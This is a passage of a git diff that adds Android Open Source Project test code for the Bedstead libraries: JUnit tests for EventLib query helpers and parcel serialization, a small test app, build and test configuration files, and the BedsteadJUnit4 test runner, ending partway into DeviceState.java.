+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.Serializable;
+
+@RunWith(JUnit4.class)
+public class SerializableQueryHelperTest {
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private final Serializable mSerializable = "SerializableString";
+    private final Serializable mDifferentSerializable = "SerializableString2";
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        SerializableQueryHelper<CustomEvent.CustomEventQuery> serializableQueryHelper =
+                new SerializableQueryHelper<>(mQuery);
+
+        assertThat(serializableQueryHelper.matches(mSerializable)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_meetsRestriction_returnsTrue() {
+        SerializableQueryHelper<CustomEvent.CustomEventQuery> serializableQueryHelper =
+                new SerializableQueryHelper<>(mQuery);
+
+        serializableQueryHelper.isEqualTo(mSerializable);
+
+        assertThat(serializableQueryHelper.matches(mSerializable)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_doesNotMeetRestriction_returnsFalse() {
+        SerializableQueryHelper<CustomEvent.CustomEventQuery> serializableQueryHelper =
+                new SerializableQueryHelper<>(mQuery);
+
+        serializableQueryHelper.isEqualTo(mDifferentSerializable);
+
+        assertThat(serializableQueryHelper.matches(mSerializable)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/StringQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/StringQueryHelperTest.java
new file mode 100644
index 0000000..2cb6b16
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/StringQueryHelperTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class StringQueryHelperTest {
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private static final String STRING_VALUE = "String";
+    private static final String DIFFERENT_STRING_VALUE = "String2";
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        StringQueryHelper<CustomEvent.CustomEventQuery> stringQueryHelper =
+                new StringQueryHelper<>(mQuery);
+
+        assertThat(stringQueryHelper.matches(STRING_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_meetsRestriction_returnsTrue() {
+        StringQueryHelper<CustomEvent.CustomEventQuery> stringQueryHelper =
+                new StringQueryHelper<>(mQuery);
+
+        stringQueryHelper.isEqualTo(STRING_VALUE);
+
+        assertThat(stringQueryHelper.matches(STRING_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_doesNotMeetRestriction_returnsFalse() {
+        StringQueryHelper<CustomEvent.CustomEventQuery> stringQueryHelper =
+                new StringQueryHelper<>(mQuery);
+
+        stringQueryHelper.isEqualTo(DIFFERENT_STRING_VALUE);
+
+        assertThat(stringQueryHelper.matches(STRING_VALUE)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/UserHandleQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/UserHandleQueryHelperTest.java
new file mode 100644
index 0000000..9b12586
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/UserHandleQueryHelperTest.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.UserHandle;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class UserHandleQueryHelperTest {
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private static final int USER_HANDLE_ID = 1;
+    private static final UserHandle USER_HANDLE = UserHandle.of(USER_HANDLE_ID);
+    private static final UserHandle DIFFERENT_USER_HANDLE = UserHandle.of(2);
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        UserHandleQueryHelper<CustomEvent.CustomEventQuery> userHandleQueryHelper =
+                new UserHandleQueryHelper<>(mQuery);
+
+        assertThat(userHandleQueryHelper.matches(USER_HANDLE)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_meetsRestriction_returnsTrue() {
+        UserHandleQueryHelper<CustomEvent.CustomEventQuery> userHandleQueryHelper =
+                new UserHandleQueryHelper<>(mQuery);
+
+        userHandleQueryHelper.isEqualTo(USER_HANDLE);
+
+        assertThat(userHandleQueryHelper.matches(USER_HANDLE)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_doesNotMeetRestriction_returnsFalse() {
+        UserHandleQueryHelper<CustomEvent.CustomEventQuery> userHandleQueryHelper =
+                new UserHandleQueryHelper<>(mQuery);
+
+        userHandleQueryHelper.isEqualTo(USER_HANDLE);
+
+        assertThat(userHandleQueryHelper.matches(DIFFERENT_USER_HANDLE)).isFalse();
+    }
+
+    @Test
+    public void matches_id_meetsRestriction_returnsTrue() {
+        UserHandleQueryHelper<CustomEvent.CustomEventQuery> userHandleQueryHelper =
+                new UserHandleQueryHelper<>(mQuery);
+
+        userHandleQueryHelper.id().isEqualTo(USER_HANDLE_ID);
+
+        assertThat(userHandleQueryHelper.matches(USER_HANDLE)).isTrue();
+    }
+
+    @Test
+    public void matches_id_doesNotMeetRestriction_returnsFalse() {
+        UserHandleQueryHelper<CustomEvent.CustomEventQuery> userHandleQueryHelper =
+                new UserHandleQueryHelper<>(mQuery);
+
+        userHandleQueryHelper.id().isEqualTo(USER_HANDLE_ID);
+
+        assertThat(userHandleQueryHelper.matches(DIFFERENT_USER_HANDLE)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/util/SerializableParcelWrapperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/util/SerializableParcelWrapperTest.java
new file mode 100644
index 0000000..fa73206
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/util/SerializableParcelWrapperTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.util;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Bundle;
+import android.os.Parcelable;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+
+@RunWith(JUnit4.class)
+public class SerializableParcelWrapperTest {
+
+    private static final String KEY = "Key";
+    private static final String STRING_VALUE = "String";
+
+    private final Bundle mBundle = new Bundle();
+
+    @Test
+    public void serialize_deserialize_isEqual() throws Exception {
+        mBundle.putString(KEY, STRING_VALUE);
+        SerializableParcelWrapper<Bundle> serializableParcelWrapper
+                = new SerializableParcelWrapper<>(mBundle);
+
+        byte[] serializedBytes = serialize(serializableParcelWrapper);
+        SerializableParcelWrapper<Bundle> unserializedWrapper = deserialize(serializedBytes, Bundle.class);
+
+        assertThat(unserializedWrapper.get().getString(KEY))
+                .isEqualTo(serializableParcelWrapper.get().getString(KEY));
+    }
+
+    private byte[] serialize(SerializableParcelWrapper<?> wrapper) throws Exception {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        try (ObjectOutputStream outputStream = new ObjectOutputStream(baos)) {
+            outputStream.writeObject(wrapper);
+        }
+        baos.close();
+        return baos.toByteArray();
+    }
+
+    private <E extends Parcelable> SerializableParcelWrapper<E> deserialize(
+            byte[] bytes, Class<E> type) throws Exception {
+        try(ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
+            ObjectInputStream inputStream = new ObjectInputStream(bais)) {
+            return (SerializableParcelWrapper<E>) inputStream.readObject();
+        }
+    }
+
+    @Test
+    public void equals_areEqual_returnsTrue() {
+        Bundle bundle = new Bundle();
+
+        SerializableParcelWrapper<Bundle> serializableParcelWrapper1
+                = new SerializableParcelWrapper<>(bundle);
+        SerializableParcelWrapper<Bundle> serializableParcelWrapper2
+                = new SerializableParcelWrapper<>(bundle);
+
+        assertThat(serializableParcelWrapper1.equals(serializableParcelWrapper2)).isTrue();
+    }
+
+    @Test
+    public void equals_areNotEqual_returnsFalse() {
+        Bundle bundle1 = new Bundle();
+        Bundle bundle2 = new Bundle();
+        bundle1.putString(KEY, STRING_VALUE);
+
+        SerializableParcelWrapper<Bundle> serializableParcelWrapper1
+                = new SerializableParcelWrapper<>(bundle1);
+        SerializableParcelWrapper<Bundle> serializableParcelWrapper2
+                = new SerializableParcelWrapper<>(bundle2);
+
+        assertThat(serializableParcelWrapper1.equals(serializableParcelWrapper2)).isFalse();
+    }
+
+    @Test
+    public void hashcode_matchesContainedHashcode() {
+        SerializableParcelWrapper<Bundle> serializableParcelWrapper
+                = new SerializableParcelWrapper<>(mBundle);
+
+        assertThat(serializableParcelWrapper.hashCode()).isEqualTo(mBundle.hashCode());
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/res/xml/device_admin.xml b/common/device-side/bedstead/eventlib/src/test/res/xml/device_admin.xml
new file mode 100644
index 0000000..c3f745f
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/res/xml/device_admin.xml
@@ -0,0 +1,21 @@
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android">
+    <uses-policies>
+    </uses-policies>
+</device-admin>
+
diff --git a/common/device-side/bedstead/eventlib/src/test/testapp/Android.bp b/common/device-side/bedstead/eventlib/src/test/testapp/Android.bp
new file mode 100644
index 0000000..a1756bf
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/testapp/Android.bp
@@ -0,0 +1,16 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "EventLibTestApp",
+    sdk_version: "current",
+    srcs: [
+        "src/main/**/*.java"
+    ],
+    static_libs: [
+        "EventLib"
+    ],
+    manifest: "src/main/AndroidManifest.xml",
+    min_sdk_version: "27"
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/testapp/src/main/AndroidManifest.xml b/common/device-side/bedstead/eventlib/src/test/testapp/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..86cf73b
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/testapp/src/main/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.eventlib.tests.testapp">
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+    <application>
+        <activity android:name=".EventLoggingActivity"
+                  android:exported="true">
+        </activity>
+    </application>
+</manifest>
+
diff --git a/common/device-side/bedstead/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java b/common/device-side/bedstead/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
new file mode 100644
index 0000000..63ca5be
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/testapp/src/main/java/com/android/eventlib/tests/testapp/EventLoggingActivity.java
@@ -0,0 +1,22 @@
+package com.android.eventlib.tests.testapp;
+
+import android.app.Activity;
+
+import com.android.eventlib.events.CustomEvent;
+
+/**
+ * An {@link Activity} which, when resumed, logs a {@link CustomEvent} with the
+ * passed in tag and data.
+ */
+public class EventLoggingActivity extends Activity {
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        CustomEvent.logger(this)
+                .setTag(getIntent().getStringExtra("TAG"))
+                .setData(getIntent().getStringExtra("DATA"))
+                .log();
+    }
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/Android.bp b/common/device-side/bedstead/harrier/Android.bp
new file mode 100644
index 0000000..a99ec9c
--- /dev/null
+++ b/common/device-side/bedstead/harrier/Android.bp
@@ -0,0 +1,53 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_library_static {
+    name: "Harrier",
+    sdk_version: "test_current",
+
+    srcs: [
+        "src/main/java/**/*.java",
+    ],
+
+    static_libs: [
+        "Nene",
+        "compatibility-device-util-axt",
+        "androidx.test.ext.junit",
+    ]
+}
+
+android_test {
+    name: "HarrierTest",
+    srcs: [
+        "src/test/java/**/*.java"
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "Nene",
+        "Harrier",
+        "androidx.test.ext.junit",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "testng" // for assertThrows
+    ],
+    manifest: "src/test/AndroidManifest.xml",
+    min_sdk_version: "27"
+}
diff --git a/common/device-side/bedstead/harrier/src/AndroidTest.xml b/common/device-side/bedstead/harrier/src/AndroidTest.xml
new file mode 100644
index 0000000..292076c
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for Nene test cases">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="HarrierTest.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.bedstead.harrier.test" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
new file mode 100644
index 0000000..07d5314
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/BedsteadJUnit4.java
@@ -0,0 +1,331 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+import com.android.bedstead.harrier.annotations.enterprise.NegativePolicyTest;
+import com.android.bedstead.harrier.annotations.enterprise.PositivePolicyTest;
+import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeNone;
+
+import com.google.common.base.Objects;
+
+import org.junit.Test;
+import org.junit.rules.TestRule;
+import org.junit.runners.BlockJUnit4ClassRunner;
+import org.junit.runners.model.FrameworkMethod;
+import org.junit.runners.model.InitializationError;
+import org.junit.runners.model.TestClass;
+
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * A JUnit test runner for use with Bedstead.
+ */
+public final class BedsteadJUnit4 extends BlockJUnit4ClassRunner {
+
+    private static final String BEDSTEAD_PACKAGE_NAME = "com.android.bedstead";
+
+    // These are annotations which are not included indirectly
+    private static final Set<String> sIgnoredAnnotationPackages = new HashSet<>();
+    static {
+        sIgnoredAnnotationPackages.add("java.lang.annotation");
+        sIgnoredAnnotationPackages.add("com.android.bedstead.harrier.annotations.meta");
+    }
+
+    /**
+     * {@link FrameworkMethod} subclass which allows modifying the test name and annotations.
+     */
+    public static final class BedsteadFrameworkMethod extends FrameworkMethod {
+
+        private final Class<? extends Annotation> mParameterizedAnnotation;
+        private final Map<Class<? extends Annotation>, Annotation> mAnnotationsMap =
+                new HashMap<>();
+        private Annotation[] mAnnotations;
+
+        public BedsteadFrameworkMethod(Method method) {
+            this(method, /* parameterizedAnnotation= */ null);
+        }
+
+        public BedsteadFrameworkMethod(Method method, Annotation parameterizedAnnotation) {
+            super(method);
+            this.mParameterizedAnnotation = (parameterizedAnnotation == null) ? null
+                    : parameterizedAnnotation.annotationType();
+
+            calculateAnnotations();
+        }
+
+        private void calculateAnnotations() {
+            List<Annotation> annotations = new ArrayList<>(
+                    Arrays.asList(getMethod().getAnnotations()));
+
+            parseEnterpriseAnnotations(annotations);
+
+            resolveRecursiveAnnotations(annotations, mParameterizedAnnotation);
+
+            this.mAnnotations = annotations.toArray(new Annotation[0]);
+            for (Annotation annotation : annotations) {
+                mAnnotationsMap.put(annotation.annotationType(), annotation);
+            }
+        }
+
+        @Override
+        public String getName() {
+            if (mParameterizedAnnotation == null) {
+                return super.getName();
+            }
+            return super.getName() + "[" + mParameterizedAnnotation.getSimpleName() + "]";
+        }
+
+        @Override
+        public boolean equals(Object obj) {
+            if (!super.equals(obj)) {
+                return false;
+            }
+
+            if (!(obj instanceof BedsteadFrameworkMethod)) {
+                return false;
+            }
+
+            BedsteadFrameworkMethod other = (BedsteadFrameworkMethod) obj;
+
+            return Objects.equal(mParameterizedAnnotation, other.mParameterizedAnnotation);
+        }
+
+        @Override
+        public Annotation[] getAnnotations() {
+            return mAnnotations;
+        }
+
+        @Override
+        public <T extends Annotation> T getAnnotation(Class<T> annotationType) {
+            return (T) mAnnotationsMap.get(annotationType);
+        }
+    }
+
+    /**
+     * Resolve annotations recursively.
+     *
+     * @param parameterizedAnnotation The class of the parameterized annotation to expand, if any
+     */
+    public static void resolveRecursiveAnnotations(List<Annotation> annotations,
+            @Nullable Class<? extends Annotation> parameterizedAnnotation) {
+        int index = 0;
+        while (index < annotations.size()) {
+            Annotation annotation = annotations.get(index);
+            annotations.remove(index);
+            List<Annotation> replacementAnnotations =
+                    getReplacementAnnotations(annotation, parameterizedAnnotation);
+            annotations.addAll(index, replacementAnnotations);
+            index += replacementAnnotations.size();
+        }
+    }
+
+    private static List<Annotation> getReplacementAnnotations(Annotation annotation,
+            @Nullable Class<? extends Annotation> parameterizedAnnotation) {
+        List<Annotation> replacementAnnotations = new ArrayList<>();
+
+        if (annotation.annotationType().getAnnotation(ParameterizedAnnotation.class) != null
+                && !annotation.annotationType().equals(parameterizedAnnotation)) {
+            return replacementAnnotations;
+        }
+
+        for (Annotation indirectAnnotation : annotation.annotationType().getAnnotations()) {
+            if (sIgnoredAnnotationPackages.contains(
+                    indirectAnnotation.annotationType().getPackage().getName())) {
+                continue;
+            }
+
+            replacementAnnotations.addAll(getReplacementAnnotations(
+                    indirectAnnotation, parameterizedAnnotation));
+        }
+
+        replacementAnnotations.add(annotation);
+
+        return replacementAnnotations;
+    }
+
+    public BedsteadJUnit4(Class<?> testClass) throws InitializationError {
+        super(testClass);
+    }
+
+    @Override
+    protected List<FrameworkMethod> computeTestMethods() {
+        TestClass testClass = getTestClass();
+
+        List<FrameworkMethod> basicTests = testClass.getAnnotatedMethods(Test.class);
+        List<FrameworkMethod> modifiedTests = new ArrayList<>();
+
+        for (FrameworkMethod m : basicTests) {
+            Set<Annotation> parameterizedAnnotations = getParameterizedAnnotations(m);
+
+            if (parameterizedAnnotations.isEmpty()) {
+                // Unparameterized, just add the original
+                modifiedTests.add(new BedsteadFrameworkMethod(m.getMethod()));
+            }
+
+            for (Annotation annotation : parameterizedAnnotations) {
+                if (annotation.annotationType().equals(IncludeNone.class)) {
+                    // Special case - does not generate a run
+                    continue;
+                }
+                modifiedTests.add(
+                        new BedsteadFrameworkMethod(m.getMethod(), annotation));
+            }
+        }
+
+        sortMethodsByBedsteadAnnotations(modifiedTests);
+
+        return modifiedTests;
+    }
+
+    /**
+     * Sort methods so that methods with identical bedstead annotations are together.
+     *
+     * <p>This will also ensure that all tests methods which are not annotated for bedstead will
+     * run before any tests which are annotated.
+     */
+    private void sortMethodsByBedsteadAnnotations(List<FrameworkMethod> modifiedTests) {
+        List<Annotation> bedsteadAnnotationsSortedByMostCommon =
+                bedsteadAnnotationsSortedByMostCommon(modifiedTests);
+
+        modifiedTests.sort((o1, o2) -> {
+            for (Annotation annotation : bedsteadAnnotationsSortedByMostCommon) {
+                boolean o1HasAnnotation = o1.getAnnotation(annotation.annotationType()) != null;
+                boolean o2HasAnnotation = o2.getAnnotation(annotation.annotationType()) != null;
+
+                if (o1HasAnnotation && !o2HasAnnotation) {
+                    // o1 goes to the end
+                    return 1;
+                } else if (o2HasAnnotation && !o1HasAnnotation) {
+                    return -1;
+                }
+            }
+            return 0;
+        });
+    }
+
+    private List<Annotation> bedsteadAnnotationsSortedByMostCommon(List<FrameworkMethod> methods) {
+        Map<Annotation, Integer> annotationCounts = countAnnotations(methods);
+        List<Annotation> annotations = new ArrayList<>(annotationCounts.keySet());
+
+        annotations.removeIf(
+                annotation ->
+                        !annotation.getClass().getCanonicalName().contains(BEDSTEAD_PACKAGE_NAME));
+
+        annotations.sort(Comparator.comparingInt(annotationCounts::get));
+        Collections.reverse(annotations);
+
+        return annotations;
+    }
+
+    private Map<Annotation, Integer> countAnnotations(List<FrameworkMethod> methods) {
+        Map<Annotation, Integer> annotationCounts = new HashMap<>();
+
+        for (FrameworkMethod method : methods) {
+            for (Annotation annotation : method.getAnnotations()) {
+                annotationCounts.put(
+                        annotation, annotationCounts.getOrDefault(annotation, 0) + 1);
+            }
+        }
+
+        return annotationCounts;
+    }
+
+    private Set<Annotation> getParameterizedAnnotations(FrameworkMethod method) {
+        Set<Annotation> parameterizedAnnotations = new HashSet<>();
+        List<Annotation> annotations = new ArrayList<>(Arrays.asList(method.getAnnotations()));
+
+        // TODO(scottjonathan): We're doing this twice... does it matter?
+        parseEnterpriseAnnotations(annotations);
+
+        for (Annotation annotation : annotations) {
+            if (annotation.annotationType().getAnnotation(ParameterizedAnnotation.class) != null) {
+                parameterizedAnnotations.add(annotation);
+            }
+        }
+
+        return parameterizedAnnotations;
+    }
+
+    /**
+     * Parse enterprise-specific annotations.
+     *
+     * <p>To be used before general annotation processing.
+     */
+    private static void parseEnterpriseAnnotations(List<Annotation> annotations) {
+        int index = 0;
+        while (index < annotations.size()) {
+            Annotation annotation = annotations.get(index);
+            if (annotation instanceof PositivePolicyTest) {
+                annotations.remove(index);
+                Class<?> policy = ((PositivePolicyTest) annotation).policy();
+
+                EnterprisePolicy enterprisePolicy =
+                        policy.getAnnotation(EnterprisePolicy.class);
+                List<Annotation> replacementAnnotations =
+                        Policy.positiveStates(enterprisePolicy);
+
+                annotations.addAll(index, replacementAnnotations);
+                index += replacementAnnotations.size();
+            } else if (annotation instanceof NegativePolicyTest) {
+                annotations.remove(index);
+                Class<?> policy = ((NegativePolicyTest) annotation).policy();
+
+                EnterprisePolicy enterprisePolicy =
+                        policy.getAnnotation(EnterprisePolicy.class);
+                List<Annotation> replacementAnnotations =
+                        Policy.negativeStates(enterprisePolicy);
+
+                annotations.addAll(index, replacementAnnotations);
+                index += replacementAnnotations.size();
+            } else {
+                index++;
+            }
+        }
+    }
+
+    @Override
+    protected List<TestRule> classRules() {
+        List<TestRule> rules = super.classRules();
+
+        for (TestRule rule : rules) {
+            if (rule instanceof DeviceState) {
+                DeviceState deviceState = (DeviceState) rule;
+
+                deviceState.setSkipTestTeardown(true);
+                deviceState.setUsingBedsteadJUnit4(true);
+
+                break;
+            }
+        }
+
+        return rules;
+    }
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
new file mode 100644
index 0000000..15c50e8
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -0,0 +1,673 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier;
+
+import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
+import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.harrier.annotations.FailureMode;
+import com.android.bedstead.harrier.annotations.RequireFeatures;
+import com.android.bedstead.harrier.annotations.RequireUserSupported;
+import com.android.bedstead.harrier.annotations.meta.EnsureHasNoProfileAnnotation;
+import com.android.bedstead.harrier.annotations.meta.EnsureHasNoUserAnnotation;
+import com.android.bedstead.harrier.annotations.meta.EnsureHasProfileAnnotation;
+import com.android.bedstead.harrier.annotations.meta.EnsureHasUserAnnotation;
+import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
+import com.android.bedstead.harrier.annotations.meta.RequireRunOnUserAnnotation;
